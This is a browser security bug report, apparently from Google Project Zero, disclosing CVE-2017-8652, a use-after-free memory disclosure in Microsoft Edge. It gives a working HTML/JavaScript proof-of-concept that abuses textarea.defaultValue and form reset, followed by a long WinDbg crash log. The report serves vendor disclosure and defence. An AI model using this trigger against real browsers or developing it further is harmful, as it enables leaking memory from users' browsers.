Microsoft Edge: textarea.defaultValue memory disclosure
CVE-2017-8652
There is a use-after free vulnerability in Microsoft Edge that can lead to memory disclosure. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198), Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
PoC:
==========================================
<!-- saved from url=(0014)about:internet -->
<script>
var n = 0;
function go() {
document.addEventListener("DOMNodeRemoved", eventhandler);
eventhandler();
}
function eventhandler() {
n++; if(n==5) return; //prevent going into an infinite recursion
t.defaultValue = "aaaaaaaaaaaaaaaaaaaa";
f.reset();
}
</script>
<body onload=go()>
<form id="f">
<textarea id="t">aaa</textarea>
=========================================
This seems to be the same bug as <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1076" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1076</a> only that one is in IE and this one is in Edge.
I don't have symbols for the latest Edge after May update, so crash log doesn't make much sense but here it is anyway:
=========================================
(1618.1258): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\SYSTEM32\edgehtml.dll -
edgehtml!Ordinal125+0x6446c:
00007ffe`843d615c 6641393e cmp word ptr [<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>],di ds:000001fa`3389cfd4=????
0:013> !heap -p -a 000001fa`3389cfd4
address 000001fa3389cfd4 found in
_DPH_HEAP_ROOT @ 1f20b961000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1fa33116138: 1fa3389c000 2000
00007ffe9fb1b90b ntdll!RtlDebugReAllocateHeap+0x0000000000000047
00007ffe9fadcbfe ntdll!RtlpReAllocateHeapInternal+0x000000000008729e
00007ffe9fa55941 ntdll!RtlReAllocateHeap+0x0000000000000031
00007ffe845cc2fa edgehtml!CreateWebDriverAdapter+0x00000000000504ba
00007ffe845cbd74 edgehtml!CreateWebDriverAdapter+0x000000000004ff34
00007ffe8462fbb8 edgehtml!Ordinal107+0x0000000000056a48
00007ffe84d05143 edgehtml!Ordinal106+0x0000000000018e63
00007ffe845ab544 edgehtml!CreateWebDriverAdapter+0x000000000002f704
00007ffe846b0747 edgehtml!Ordinal107+0x00000000000d75d7
00007ffe84ae5c8f edgehtml!ClearPhishingFilterData+0x00000000000beeaf
00007ffe84792bb5 edgehtml!DllEnumClassObjects+0x0000000000043245
00007ffe83c41227 chakra!DllGetClassObject+0x0000000000001d97
00007ffe83c7a3d7 chakra!MemProtectHeapUnrootAndZero+0x00000000000038e7
00007ffe83aef541 chakra!JsProjectWinRTNamespace+0x0000000000046621
000001fa1cf7057e +0x000001fa1cf7057e
0:013> r
rax=0000000000000000 rbx=000001fa2d058a40 rcx=000001f212910000
rdx=0000004d44824f5c rsi=0000000000000000 rdi=0000000000000000
rip=00007ffe843d615c rsp=0000004d44824f10 rbp=0000004d44825010
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=00000000ffffffff <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000001f212910000 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00007ffe85156fd0
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000001f212841a90 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000000000000 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000014
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=000001fa3389cfd4 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=000001f2128e8840
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
edgehtml!Ordinal125+0x6446c:
00007ffe`843d615c 6641393e cmp word ptr [<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>],di ds:000001fa`3389cfd4=????
0:013> k
# Child-SP RetAddr Call Site
00 0000004d`44824f10 00007ffe`844bc561 edgehtml!Ordinal125+0x6446c
01 0000004d`44826190 00007ffe`8459a535 edgehtml!Ordinal105+0x13631
02 0000004d`448261e0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e6f5
03 0000004d`44826340 00007ffe`84d03e81 edgehtml!Ordinal106+0x18f9e
04 0000004d`448263c0 00007ffe`84447753 edgehtml!Ordinal106+0x17ba1
05 0000004d`448263f0 00007ffe`8453341c edgehtml!Ordinal125+0xd5a63
06 0000004d`448264e0 00007ffe`847afc55 edgehtml!GetWebPlatformObject+0xbb4c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\SYSTEM32\chakra.dll -
07 0000004d`44826520 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x602e5
08 0000004d`44826550 000001fa`1cf70641 chakra!DllGetClassObject+0x1d97
09 0000004d`44826630 00007ffe`83cf90a3 0x000001fa`1cf70641
0a 0000004d`448266c0 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
0b 0000004d`44826710 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
0c 0000004d`44826770 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
0d 0000004d`44826860 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
0e 0000004d`448268d0 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
0f 0000004d`44826970 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
10 0000004d`44826a00 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
11 0000004d`44826aa0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
12 0000004d`44826af0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
13 0000004d`44826b30 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
14 0000004d`44826cb0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
15 0000004d`44826d30 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
16 0000004d`44826e90 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
17 0000004d`44826ed0 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
18 0000004d`448271a0 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
19 0000004d`448271f0 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
1a 0000004d`44827360 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
1b 0000004d`448273a0 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
1c 0000004d`448274b0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
1d 0000004d`44827610 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
1e 0000004d`44827690 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
1f 0000004d`448276c0 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
20 0000004d`448277c0 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
21 0000004d`44827800 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
22 0000004d`44827840 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
23 0000004d`44827870 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
24 0000004d`44827950 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
25 0000004d`44827a30 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
26 0000004d`44827af0 00007ffe`83cf90a3 0x000001fa`1cf7057e
27 0000004d`44827b80 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
28 0000004d`44827bd0 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
29 0000004d`44827c30 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
2a 0000004d`44827d20 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
2b 0000004d`44827d90 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
2c 0000004d`44827e30 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
2d 0000004d`44827ec0 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
2e 0000004d`44827f60 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
2f 0000004d`44827fb0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
30 0000004d`44827ff0 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
31 0000004d`44828170 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
32 0000004d`448281f0 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
33 0000004d`44828350 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
34 0000004d`44828390 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
35 0000004d`44828660 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
36 0000004d`448286b0 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
37 0000004d`44828820 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
38 0000004d`44828860 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
39 0000004d`44828970 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
3a 0000004d`44828ad0 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
3b 0000004d`44828b50 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
3c 0000004d`44828b80 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
3d 0000004d`44828c80 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
3e 0000004d`44828cc0 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
3f 0000004d`44828d00 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
40 0000004d`44828d30 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
41 0000004d`44828e10 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
42 0000004d`44828ef0 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
43 0000004d`44828fb0 00007ffe`83cf90a3 0x000001fa`1cf7057e
44 0000004d`44829040 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
45 0000004d`44829090 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
46 0000004d`448290f0 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
47 0000004d`448291e0 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
48 0000004d`44829250 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
49 0000004d`448292f0 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
4a 0000004d`44829380 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
4b 0000004d`44829420 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
4c 0000004d`44829470 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
4d 0000004d`448294b0 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
4e 0000004d`44829630 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
4f 0000004d`448296b0 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
50 0000004d`44829810 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
51 0000004d`44829850 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
52 0000004d`44829b20 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
53 0000004d`44829b70 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
54 0000004d`44829ce0 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
55 0000004d`44829d20 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
56 0000004d`44829e30 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
57 0000004d`44829f90 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
58 0000004d`4482a010 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
59 0000004d`4482a040 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
5a 0000004d`4482a140 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
5b 0000004d`4482a180 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
5c 0000004d`4482a1c0 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
5d 0000004d`4482a1f0 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
5e 0000004d`4482a2d0 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
5f 0000004d`4482a3b0 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
60 0000004d`4482a470 00007ffe`83cf90a3 0x000001fa`1cf7057e
61 0000004d`4482a500 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
62 0000004d`4482a550 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
63 0000004d`4482a5b0 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
64 0000004d`4482a6a0 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
65 0000004d`4482a710 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
66 0000004d`4482a7b0 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
67 0000004d`4482a840 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
68 0000004d`4482a8e0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
69 0000004d`4482a930 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
6a 0000004d`4482a970 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
6b 0000004d`4482aaf0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
6c 0000004d`4482ab70 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
6d 0000004d`4482acd0 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
6e 0000004d`4482ad10 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
6f 0000004d`4482afe0 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
70 0000004d`4482b030 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
71 0000004d`4482b1a0 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
72 0000004d`4482b1e0 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
73 0000004d`4482b2f0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
74 0000004d`4482b450 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
75 0000004d`4482b4d0 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
76 0000004d`4482b500 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
77 0000004d`4482b600 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
78 0000004d`4482b640 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
79 0000004d`4482b680 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
7a 0000004d`4482b6b0 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
7b 0000004d`4482b790 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
7c 0000004d`4482b870 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
7d 0000004d`4482b930 00007ffe`83cf90a3 0x000001fa`1cf7057e
7e 0000004d`4482b9c0 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
7f 0000004d`4482ba10 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
80 0000004d`4482ba70 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
81 0000004d`4482bb60 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
82 0000004d`4482bbd0 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
83 0000004d`4482bc70 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
84 0000004d`4482bd00 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
85 0000004d`4482bda0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
86 0000004d`4482bdf0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
87 0000004d`4482be30 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
88 0000004d`4482bfb0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
89 0000004d`4482c030 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
8a 0000004d`4482c190 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
8b 0000004d`4482c1d0 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
8c 0000004d`4482c4a0 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
8d 0000004d`4482c4f0 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
8e 0000004d`4482c660 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
8f 0000004d`4482c6a0 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
90 0000004d`4482c7b0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
91 0000004d`4482c910 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
92 0000004d`4482c990 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
93 0000004d`4482c9c0 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
94 0000004d`4482cac0 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
95 0000004d`4482cb00 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
96 0000004d`4482cb40 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
97 0000004d`4482cb70 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
98 0000004d`4482cc50 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
99 0000004d`4482cd30 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
9a 0000004d`4482cdf0 00007ffe`83cf90a3 0x000001fa`1cf7057e
9b 0000004d`4482ce80 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
9c 0000004d`4482ced0 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
9d 0000004d`4482cf30 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
9e 0000004d`4482d020 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
9f 0000004d`4482d090 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
a0 0000004d`4482d130 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
a1 0000004d`4482d1c0 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
a2 0000004d`4482d260 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
a3 0000004d`4482d2b0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
a4 0000004d`4482d2f0 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
a5 0000004d`4482d470 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
a6 0000004d`4482d4f0 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
a7 0000004d`4482d650 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
a8 0000004d`4482d690 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
a9 0000004d`4482d960 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
aa 0000004d`4482d9b0 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
ab 0000004d`4482db20 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
ac 0000004d`4482db60 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
ad 0000004d`4482dc70 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
ae 0000004d`4482ddd0 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
af 0000004d`4482de50 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
b0 0000004d`4482de80 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
b1 0000004d`4482df80 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
b2 0000004d`4482dfc0 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
b3 0000004d`4482e000 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
b4 0000004d`4482e030 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
b5 0000004d`4482e110 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
b6 0000004d`4482e1f0 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
b7 0000004d`4482e2b0 00007ffe`83cf90a3 0x000001fa`1cf7057e
b8 0000004d`4482e340 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
b9 0000004d`4482e390 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
ba 0000004d`4482e3f0 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
bb 0000004d`4482e4e0 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
bc 0000004d`4482e550 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
bd 0000004d`4482e5f0 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
be 0000004d`4482e680 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
bf 0000004d`4482e720 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
c0 0000004d`4482e770 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
c1 0000004d`4482e7b0 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
c2 0000004d`4482e930 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
c3 0000004d`4482e9b0 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
c4 0000004d`4482eb10 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
c5 0000004d`4482eb50 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
c6 0000004d`4482ee20 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
c7 0000004d`4482ee70 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
c8 0000004d`4482efe0 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
c9 0000004d`4482f020 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
ca 0000004d`4482f130 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
cb 0000004d`4482f290 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
cc 0000004d`4482f310 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
cd 0000004d`4482f340 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
ce 0000004d`4482f440 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
cf 0000004d`4482f480 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
d0 0000004d`4482f4c0 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
d1 0000004d`4482f4f0 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
d2 0000004d`4482f5d0 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
d3 0000004d`4482f6b0 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
d4 0000004d`4482f770 00007ffe`83cf90a3 0x000001fa`1cf7057e
d5 0000004d`4482f800 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
d6 0000004d`4482f850 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
d7 0000004d`4482f8b0 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
d8 0000004d`4482f9a0 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
d9 0000004d`4482fa10 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
da 0000004d`4482fab0 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
db 0000004d`4482fb40 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
dc 0000004d`4482fbe0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
dd 0000004d`4482fc30 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
de 0000004d`4482fc70 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
df 0000004d`4482fdf0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
e0 0000004d`4482fe70 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
e1 0000004d`4482ffd0 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
e2 0000004d`44830010 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
e3 0000004d`448302e0 00007ffe`847edaa2 edgehtml!Ordinal138+0x32876
e4 0000004d`44830330 00007ffe`845ad572 edgehtml!DllEnumClassObjects+0x9e132
e5 0000004d`448304a0 00007ffe`845a7609 edgehtml!CreateWebDriverAdapter+0x31732
e6 0000004d`448304e0 00007ffe`8459a29d edgehtml!CreateWebDriverAdapter+0x2b7c9
e7 0000004d`448305f0 00007ffe`84d0527e edgehtml!CreateWebDriverAdapter+0x1e45d
e8 0000004d`44830750 00007ffe`84d0515a edgehtml!Ordinal106+0x18f9e
e9 0000004d`448307d0 00007ffe`845ab544 edgehtml!Ordinal106+0x18e7a
ea 0000004d`44830800 00007ffe`846b0747 edgehtml!CreateWebDriverAdapter+0x2f704
eb 0000004d`44830900 00007ffe`84ae5c8f edgehtml!Ordinal107+0xd75d7
ec 0000004d`44830940 00007ffe`84792bb5 edgehtml!ClearPhishingFilterData+0xbeeaf
ed 0000004d`44830980 00007ffe`83c41227 edgehtml!DllEnumClassObjects+0x43245
ee 0000004d`448309b0 00007ffe`83c7a3d7 chakra!DllGetClassObject+0x1d97
ef 0000004d`44830a90 00007ffe`83aef541 chakra!MemProtectHeapUnrootAndZero+0x38e7
f0 0000004d`44830b70 000001fa`1cf7057e chakra!JsProjectWinRTNamespace+0x46621
f1 0000004d`44830c30 00007ffe`83cf90a3 0x000001fa`1cf7057e
f2 0000004d`44830cc0 00007ffe`83c68203 chakra!MemProtectHeapReportHeapSize+0x10013
f3 0000004d`44830d10 00007ffe`83c9cf7c chakra!DllGetClassObject+0x28d73
f4 0000004d`44830d70 00007ffe`83c9c546 chakra!MemProtectHeapUnrootAndZero+0x2648c
f5 0000004d`44830e60 00007ffe`83cde729 chakra!MemProtectHeapUnrootAndZero+0x25a56
f6 0000004d`44830ed0 00007ffe`83ca29e1 chakra!JsVarToExtension+0xa3e9
f7 0000004d`44830f70 00007ffe`83c9e59c chakra!MemProtectHeapUnrootAndZero+0x2bef1
f8 0000004d`44831000 00007ffe`84650c4d chakra!MemProtectHeapUnrootAndZero+0x27aac
f9 0000004d`448310a0 00007ffe`84650b98 edgehtml!Ordinal107+0x77add
fa 0000004d`448310f0 00007ffe`8458ac07 edgehtml!Ordinal107+0x77a28
fb 0000004d`44831130 00007ffe`8458a9f7 edgehtml!CreateWebDriverAdapter+0xedc7
fc 0000004d`448312b0 00007ffe`8464f59a edgehtml!CreateWebDriverAdapter+0xebb7
fd 0000004d`44831330 00007ffe`844b61e4 edgehtml!Ordinal107+0x7642a
fe 0000004d`44831490 00007ffe`845a0e21 edgehtml!Ordinal105+0xd2b4
ff 0000004d`448314d0 00007ffe`8505d046 edgehtml!CreateWebDriverAdapter+0x24fe1
=========================================
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: ifratric
